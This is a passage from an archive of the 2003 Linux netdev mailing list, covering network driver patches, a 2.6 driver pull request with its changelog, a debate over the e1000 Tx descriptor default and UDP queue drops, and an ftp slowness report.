[195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BJPqYa014806 for ; Thu, 11 Sep 2003 12:25:53 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39825 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xX4h-0008KU-S9; Thu, 11 Sep 2003 20:25:51 +0100 Message-ID: <3F60CC35.3010107@pobox.com> Date: Thu, 11 Sep 2003 15:25:41 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] update arcnet/pcmcia driver References: <20030909163506.7d87d7e7.shemminger@osdl.org> In-Reply-To: <20030909163506.7d87d7e7.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5777 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 52 Lines: 2 looks ok, but doesn't seem to apply to current BK. From jgarzik@pobox.com Thu Sep 11 12:26:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 12:26:50 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BJQnYa015232 for ; Thu, 11 Sep 2003 12:26:49 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39827 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xX5V-0008L7-LO; Thu, 11 Sep 2003 20:26:41 +0100 Message-ID: <3F60CC66.2010401@pobox.com> Date: Thu, 11 Sep 2003 15:26:30 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Stephen Hemminger CC: Eyal Lebedinsky , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] fix build of cosa References: <3F5DC247.794DD843@eyal.emu.id.au> <20030909154833.0797ca6e.shemminger@osdl.org> In-Reply-To: <20030909154833.0797ca6e.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5778 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 9 Lines: 2 applied From jgarzik@pobox.com Thu Sep 11 12:34:38 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 12:34:38 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BJYaYa015738 for ; Thu, 11 Sep 2003 12:34:37 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39830 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xXD9-0008Q3-Cu; Thu, 11 Sep 2003 20:34:35 +0100 Message-ID: <3F60CE40.2080900@pobox.com> Date: Thu, 11 Sep 2003 15:34:24 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Francois Romieu , Stephen Hemminger CC: netdev@oss.sgi.com Subject: Re: [PATCH] (1/4) sdla - move out of Space.c References: <20030908141439.2e41b516.shemminger@osdl.org> <20030910230048.A17453@electric-eye.fr.zoreil.com> In-Reply-To: <20030910230048.A17453@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5779 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 55 Lines: 2 All six patches applied (stephen's 5, francois's one) From greearb@candelatech.com Thu Sep 11 12:46:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 12:46:04 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BJk2Ya016315 for ; Thu, 11 Sep 2003 12:46:03 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8BJjtDx026931; Thu, 11 Sep 2003 12:45:56 -0700 Message-ID: <3F60D0F3.8080006@candelatech.com> Date: Thu, 11 Sep 2003 12:45:55 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Garzik CC: "Feldman, Scott" , netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: <3F60CA6D.9090503@pobox.com> In-Reply-To: <3F60CA6D.9090503@pobox.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5780 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 987 Lines: 37 Jeff Garzik wrote: > Feldman, Scott wrote: > >> * Change the default number of Tx descriptors from 256 to 1024. >> Data from [ricardoz@us.ibm.com] shows it's easy to overrun >> the Tx desc queue. > > > > All e1000 patches applied except this one. > > Of _course_ it's easy to overrun the Tx desc queue. That's why we have > a TX queue sitting on top of the NIC's hardware queue. And TCP socket > buffers on top of that. And similar things. > > Descriptor increases like this are usually the result of some sillyhead > blasting out UDP packets, and then wondering why he sees packet loss on > the local computer (the "blast out packets" side). Erm, shouldn't the local machine back itself off if the various queues are full? Some time back I looked through the code and it appeared to. If not, I think it should. > > You're just wasting memory. > > Jeff > > > -- Ben Greear Candela Technologies Inc http://www.candelatech.com From davem@pizda.ninka.net Thu Sep 11 13:23:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 13:23:31 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BKNOYa017990 for ; Thu, 11 Sep 2003 13:23:24 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id NAA12900; Thu, 11 Sep 2003 13:12:19 -0700 Date: Thu, 11 Sep 2003 13:12:19 -0700 From: "David S. Miller" To: Ben Greear Cc: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-Id: <20030911131219.0ab8dfdd.davem@redhat.com> In-Reply-To: <3F60D0F3.8080006@candelatech.com> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5781 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 629 Lines: 15 On Thu, 11 Sep 2003 12:45:55 -0700 Ben Greear wrote: > Erm, shouldn't the local machine back itself off if the various > queues are full? Some time back I looked through the code and it > appeared to. If not, I think it should. Generic networking device queues drop when the overflow. Whatever dev->tx_queue_len is set to, the device driver needs to be prepared to be able to queue successfully. Most people run into problems when they run stupid UDP applications that send a stream of tinygrams (<~64 bytes). The solutions are to either fix the UDP app or restrict it's socket send buffer size. From garzik@gtf.org Thu Sep 11 13:36:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 13:36:04 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BKZpYa018432 for ; Thu, 11 Sep 2003 13:35:51 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 2946A6611; Thu, 11 Sep 2003 15:54:02 -0400 (EDT) Date: Thu, 11 Sep 2003 15:54:02 -0400 From: Jeff Garzik To: torvalds@osdl.org, netdev@oss.sgi.com Subject: [bk patches] 2.6.x net driver updates Message-ID: <20030911195402.GA29213@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 5782 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 7863 Lines: 209 Linus, please do a bk pull bk://kernel.bkbits.net/jgarzik/net-drivers-2.5 The patch may be found at ftp://ftp.kernel.org/pub/linux/kernel/people/jgarzik/patchkits/2.6/2.6.0-test5-bk2-netdrvr1.patch.bz2 This will update the following files: Documentation/networking/ifenslave.c | 1 drivers/net/Space.c | 5 drivers/net/bonding/bond_3ad.c | 12 drivers/net/bonding/bond_3ad.h | 2 drivers/net/bonding/bond_alb.c | 17 drivers/net/bonding/bond_main.c | 450 ++++--- drivers/net/bonding/bonding.h | 2 drivers/net/e1000/e1000.h | 9 drivers/net/e1000/e1000_ethtool.c | 84 + drivers/net/e1000/e1000_hw.c | 2034 +++++++++++++++++++++-------------- drivers/net/e1000/e1000_hw.h | 405 ++++-- drivers/net/e1000/e1000_main.c | 204 ++- drivers/net/e1000/e1000_osdep.h | 3 drivers/net/e1000/e1000_param.c | 27 drivers/net/slip.c | 3 drivers/net/tokenring/olympic.c | 37 drivers/net/wan/cosa.c | 50 drivers/net/wan/cosa.h | 12 drivers/net/wan/dlci.c | 183 +-- drivers/net/wan/sdla.c | 92 - include/linux/if_frad.h | 3 21 files changed, 2201 insertions(+), 1434 deletions(-) through these ChangeSets: (03/09/11 1.1312) [PATCH] (1/4) sdla - move out of Space.c Apply on top of 2.6.0-test5-bk1 + Stephen sdla patches. Compiles fine. free_netdev() patrol. drivers/net/wan/sdla.c | 2 +- 1 files changed, 1 insertion(+), 1 deletion(-) (03/09/11 1.1311) [PATCH] (5/4) dlci netdevice event handling One more patch, found this in testing -- need to delete device from list when unregistered because of callback. (03/09/11 1.1310) [PATCH] (4/4) dlci netdevice event handling Since dlci device is a pseudo device built on top of sdla, change it to handle unregister events and delete itself. (03/09/11 1.1309) [PATCH] (3/4) dlci locking and registration changes Change the locking for the dlci device list and registration. - use RTNL instead of a private lock (needed for net notifier in next patch). - reorder the checks in the dlci_add to avoid complicated unwinds - use dev->destructor to free - hold RTNL around deassoc to protect callback from races (03/09/11 1.1308) [PATCH] (2/4) get rid of register_frad The sdla and dlci drivers have a callback interface which only stores a name in a table, but doesn't do anything useful. Looks like an interface which has lost it's usefulness and can be safely removed. Tested on 2.6.0-test5 by exercising the higher layer (dlci) without real hardware. (03/09/11 1.1307) [PATCH] (1/4) sdla - move out of Space.c Patch against 2.60-test5 to move sdla driver out of Space.c for initialization in non-module case. Since this driver doesn't come up until the device has been configured with an ioctl (set_config); there is no way it can have startup order problems. (03/09/11 1.1306) [PATCH] fix build of cosa The cosa driver definition of ioctl's either conflicts or was not picked up in the last round of _IOR redefinition (on 2.6.0-test5). The following makes it build, have no idea if it still works on real hardware. (03/09/11 1.1305) [PATCH] slip.c: current state cleanup (03/09/11 1.1304) [PATCH] tr/olympic probe: remove #warning, improve error handling This patch to 2.6.0-test5 removes the #warning in tokenring/olympic.c and improves error handling in the probe function. (03/09/11 1.1303) [e1000] misc whitespace cleanup, changelog * misc whitespace cleanup, changelog (03/09/11 1.1302) [e1000] Add PHY master/slave #define override * Add PHY master/slave #define override to address link issues with 82541/7 (rev2) against some low-end switches. Forcing master will improve the time-to-link against these switches. (03/09/11 1.1301) [e1000] move static to table from .h to .c * Move static table from hw.h to hw.c to avoid creating a copy of table everytime hw.h is included.in .c. (03/09/11 1.1300) [e1000] cleanup error return codes * clean up error return code propagation and eliminate redundant DEBUGOUT statements. (03/09/11 1.1299) [e1000] make function our of setting media type * Consolidate code and make function out of setting media type. (03/09/11 1.1298) [e1000] add ethtool flow control support * Add ethtool flow control support (03/09/11 1.1297) [e1000] read correct bit from EEPROM for getting WoL settings * Bug fix: read the correct bit from the EEPROM that controls the initial setting for WoL after a reset. (03/09/11 1.1296) [e1000] Turn off ASF support on Fiber nics * Turn off ASF support on fiber nics. Wasn't tested and isn't known to work, so disable before someone hurts themselves. (03/09/11 1.1295) [e1000] 82544 PCI-X hang fix + TSO updates * Bug fix: 82544 hang with PCI-X: if outgoing Tx buffers terminate within evenly-aligned dwords, and the device is sharing the bus segment with another PCI-X device, 82544 can hang the bus on a split-completion transaction. Fix is to split buffer into two buffers with the first one not terminating within evenly-aligned dword address, and the second one being 4-bytes, which goes as a non-split-conpletion PCI-X transaction. * 8254x controllers that support TSO do an internal calculation to make sure there is enough FIFO space to handle the overhead of each TSO segment before DMA'ing TSO data from host memory. The internal calculation is dependent on the mss of the TSO (defines the number of segments), but the reserved space is a constant, so we need to adjust the maximum size of each buffer queued to the hardware to hold the equation and not overrun the FIFO. This is per TSO because the mss can change from one send to the next. (03/09/11 1.1294) [e1000] new 82541/5/6/7 hardware support * Added 82545 (rev3), 82546 (rev3), and 82541/7 (rev2) support - new device IDs - internal SERDES support for 82545/6 (rev3) - don't apply MMRBC workaround for 82545/6 (rev3) - don't use IO mapping for reset for 82545/6 (rev3) (03/09/11 1.1293) [bonding 2.6] misc fixes: missing include, typos, comments (03/09/11 1.1292) [bonding 2.6] make each bond device use its own /proc entry (03/09/11 1.1291) [bonding 2.6] fix error handling in init code (03/09/11 1.1290) [bonding 2.6] embed stats struct inside bonding private struct (03/09/11 1.1289) [bonding 2.6] fix OOPS in bonding driver, when removing primary (03/09/11 1.1288) [bonding 2.6] fix change active command (03/09/11 1.1287) [bonding 2.6] fix kernel panic when optional feature used (03/09/11 1.1286) [bonding 2.6] fix ARP monitoring bug (03/09/11 1.1285) [bonding 2.6] fix load balance problem with high UDP Tx stress (03/09/11 1.1284) [bonding 2.6] fix 802.3ad long fail over with high UDP Tx stress From greearb@candelatech.com Thu Sep 11 13:40:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 13:40:55 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BKesYa018879 for ; Thu, 11 Sep 2003 13:40:54 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8BKeiDx028236; Thu, 11 Sep 2003 13:40:45 -0700 Message-ID: <3F60DDCC.5020906@candelatech.com> Date: Thu, 11 Sep 2003 13:40:44 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> In-Reply-To: <20030911131219.0ab8dfdd.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5783 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 1113 Lines: 36 David S. Miller wrote: > Generic networking device queues drop when the overflow. > > Whatever dev->tx_queue_len is set to, the device driver needs > to be prepared to be able to queue successfully. > > Most people run into problems when they run stupid UDP applications > that send a stream of tinygrams (<~64 bytes). The solutions are to > either fix the UDP app or restrict it's socket send buffer size. Is this close to how it works? So, assume we configure a 10MB socket send queue on our UDP socket... Select says its writable up to at least 5MB. We write 5MB of 64byte packets "righ now". Did we just drop a large number of packets? I would expect that the packets, up to 10MB, are buffered in some list/fifo in the socket code, and that as the underlying device queue empties itself, the socket will feed it more packets. The device queue, in turn, is emptied as the driver is able to fill it's TxDescriptors, and the hardware empties the TxDescriptors. Obviously, I'm confused somewhere.... Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From rwhron@earthlink.net Thu Sep 11 14:03:50 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:03:50 -0700 (PDT) Received: from mallard.mail.pas.earthlink.net (mallard.mail.pas.earthlink.net [207.217.120.48]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BL3nYa020147 for ; Thu, 11 Sep 2003 14:03:50 -0700 Received: from user-38ld1ku.dialup.mindspring.com ([209.86.134.158] helo=earthlink.net) by mallard.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 19xYbU-0000tq-00; Thu, 11 Sep 2003 14:03:48 -0700 Date: Thu, 11 Sep 2003 17:06:25 -0400 To: scott.feldman@intel.com Cc: netdev@oss.sgi.com Subject: RE: 82540EM very slow on 2.6.0-test[45] Message-ID: <20030911210625.GA26764@rushmore> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i From: rwhron@earthlink.net X-archive-position: 5785 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rwhron@earthlink.net Precedence: bulk X-list: netdev Content-Length: 1186 Lines: 37 > Is this Linux -> XP or XP -> Solaris? Trying to eliminate one player. The destination Solaris machine has an impact. There are two Solaris servers on the same subnet. For one of the servers: Solaris ftp put to linux is fast Solaris ftp get from linux is slow Linux ftp put to solaris is slow Linux ftp get from solaris is slow For the another Solaris 8 server on the same subnet, all ftp xfer's with Linux machine are fast. When the machine is booted into XP, ftp is fast to either server. >> dmesg shows "e1000: eth0 NIC Link is Up 100 Mbps Full Duplex". > This feels like a duplex mis-match. The Solaris server that is slow for most Linux ftp xfers has 100 MBPs full-duplex forced. The Solaris server that Linux talks to fast doesn't have any duplex/capabilities forced. I tried 4 Solaris servers. 2 had forced full duplex and 100 Mbps. Those are slow. 2 other Solaris servers on the same LAN as the "slow" Solaris servers are fast. These "fast" servers are using default settings (which should also be 100 Mbps full-duplex). The odd part is that XP will talk to all four Solaris servers fast. -- Randy Hron http://home.earthlink.net/~rwhron/kernel/bigbox.html From davem@pizda.ninka.net Thu Sep 11 14:18:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:18:55 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BLImYa021378 for ; Thu, 11 Sep 2003 14:18:48 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id OAA13029; Thu, 11 Sep 2003 14:07:46 -0700 Date: Thu, 11 Sep 2003 14:07:46 -0700 From: "David S. Miller" To: Ben Greear Cc: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-Id: <20030911140746.4f0384a1.davem@redhat.com> In-Reply-To: <3F60DDCC.5020906@candelatech.com> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5786 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 400 Lines: 13 On Thu, 11 Sep 2003 13:40:44 -0700 Ben Greear wrote: > So, assume we configure a 10MB socket send queue on our UDP socket... > > Select says its writable up to at least 5MB. > > We write 5MB of 64byte packets "righ now". > > Did we just drop a large number of packets? Yes, we did _iff_ dev->tx_queue_len is less than or equal to (5MB / (64 + sizeof(udp_id_headers))). From ricardoz@us.ibm.com Thu Sep 11 14:27:17 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:27:17 -0700 (PDT) Received: from e5.ny.us.ibm.com (e5.ny.us.ibm.com [32.97.182.105]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BLRGYa022030 for ; Thu, 11 Sep 2003 14:27:16 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e5.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8BLRA0H557406; Thu, 11 Sep 2003 17:27:10 -0400 Received: from d01ml063.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8BLR5fd233272; Thu, 11 Sep 2003 17:27:06 -0400 In-Reply-To: <3F60DE5B.1010700@pobox.com> Importance: Normal Sensitivity: Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default To: Jeff Garzik Cc: netdev@oss.sgi.com, jgarzik@pobox.com, scott.feldman@intel.com, davem@redhat.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Ricardo C Gonzalez Date: Thu, 11 Sep 2003 16:27:04 -0500 X-MIMETrack: Serialize by Router on D01ML063/01/M/IBM(Release 6.0.2CF2 JHEG5P4HSL JBONL5L8FGD MIAS5MHLYW|August 26, 2003) at 09/11/2003 17:27:07 MIME-Version: 1.0 Content-type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from base64 to 8bit by oss.sgi.com id h8BLRGYa022030 X-archive-position: 5787 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ricardoz@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 957 Lines: 43 Do not make these a UDP issue. It is much easier today to overrun the Tx queue as N TCP connections can be running in parallel on different CPU's. You can see these on the data I sent out. regards, ---------------------------------------------------------------------------------- *** ALWAYS THINK POSITIVE *** Rick Gonzalez IBM Linux Performance Group Building: 905 Office: 7G019 Phone: (512) 838-0623 Jeff Garzik on 09/11/2003 03:43:07 PM To: Ricardo C Gonzalez/Austin/IBM@ibmus cc: scott.feldman@intel.com, greearb@candelatech.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Ricardo C Gonzalez wrote: > The default Tx queue can easly be overrun by today’s SMP > systems > taking into consideration that these are 4way systems at Ghz speeds. As I said, this is expected. And please CC the netdev@oss.sgi.com mailing list, where technical discussions like this are held. Jeff From greearb@candelatech.com Thu Sep 11 14:30:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:30:07 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BLU3Ya022418 for ; Thu, 11 Sep 2003 14:30:06 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8BLThDx001699; Thu, 11 Sep 2003 14:29:45 -0700 Message-ID: <3F60E947.4090005@candelatech.com> Date: Thu, 11 Sep 2003 14:29:43 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> In-Reply-To: <20030911140746.4f0384a1.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5788 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 1022 Lines: 36 David S. Miller wrote: > On Thu, 11 Sep 2003 13:40:44 -0700 > Ben Greear wrote: > > >>So, assume we configure a 10MB socket send queue on our UDP socket... >> >>Select says its writable up to at least 5MB. >> >>We write 5MB of 64byte packets "righ now". >> >>Did we just drop a large number of packets? > > > Yes, we did _iff_ dev->tx_queue_len is less than or equal > to (5MB / (64 + sizeof(udp_id_headers))). Thanks for that clarification. Is there no way to tell at 'sendto' time that the buffers are over-full, and either block or return -EBUSY or something like that? Perhaps the poll logic should also take the underlying buffer into account and not show the socket as writable in this case? Supposing in the above example, I set tx_queue_len to (5MB / (64 + sizeof(udp_id_headers))), will the packets now be dropped in the driver instead, or will there be no more (local) drops? Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From davem@pizda.ninka.net Thu Sep 11 14:40:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:40:13 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BLe2Ya022961 for ; Thu, 11 Sep 2003 14:40:06 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id OAA13105; Thu, 11 Sep 2003 14:29:06 -0700 Date: Thu, 11 Sep 2003 14:29:06 -0700 From: "David S. Miller" To: Ben Greear Cc: jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-Id: <20030911142906.74d9dfe5.davem@redhat.com> In-Reply-To: <3F60E947.4090005@candelatech.com> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5789 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 921 Lines: 22 On Thu, 11 Sep 2003 14:29:43 -0700 Ben Greear wrote: > Thanks for that clarification. Is there no way to tell > at 'sendto' time that the buffers are over-full, and either > block or return -EBUSY or something like that? The TX queue state can change by hundreds of packets by the time we are finished making the "decision", also how would you like to "wake" up sockets when the TX queue is liberated. That extra overhead and logic would be wonderful for performance. No, this is all nonsense. Packet scheduling and queueing is an opaque layer to all the upper layers. It is the only sensible design. IP transmit is black hole that may drop packets at any moment, any datagram application not prepared for this should be prepared for troubles or choose to move over to something like TCP. I listed even a workaround for such stupid UDP apps, simply limit their socket send queue limits. From scott.feldman@intel.com Thu Sep 11 14:40:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 11 Sep 2003 14:40:23 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8BLeLYa022997 for ; Thu, 11 Sep 2003 14:40:22 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8BLbn026351 for ; Thu, 11 Sep 2003 21:37:50 GMT Received: from orsmsxvs041.jf.intel.com (orsmsxvs041.jf.intel.com [192.168.65.54]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8BLYst22409 for ; Thu, 11 Sep 2003 21:34:54 GMT Received: from orsmsx331.amr.corp.intel.com ([192.168.65.56]) by orsmsxvs041.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091114400807012 ; Thu, 11 Sep 2003 14:40:08 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx331.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Thu, 11 Sep 2003 14:40:08 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; 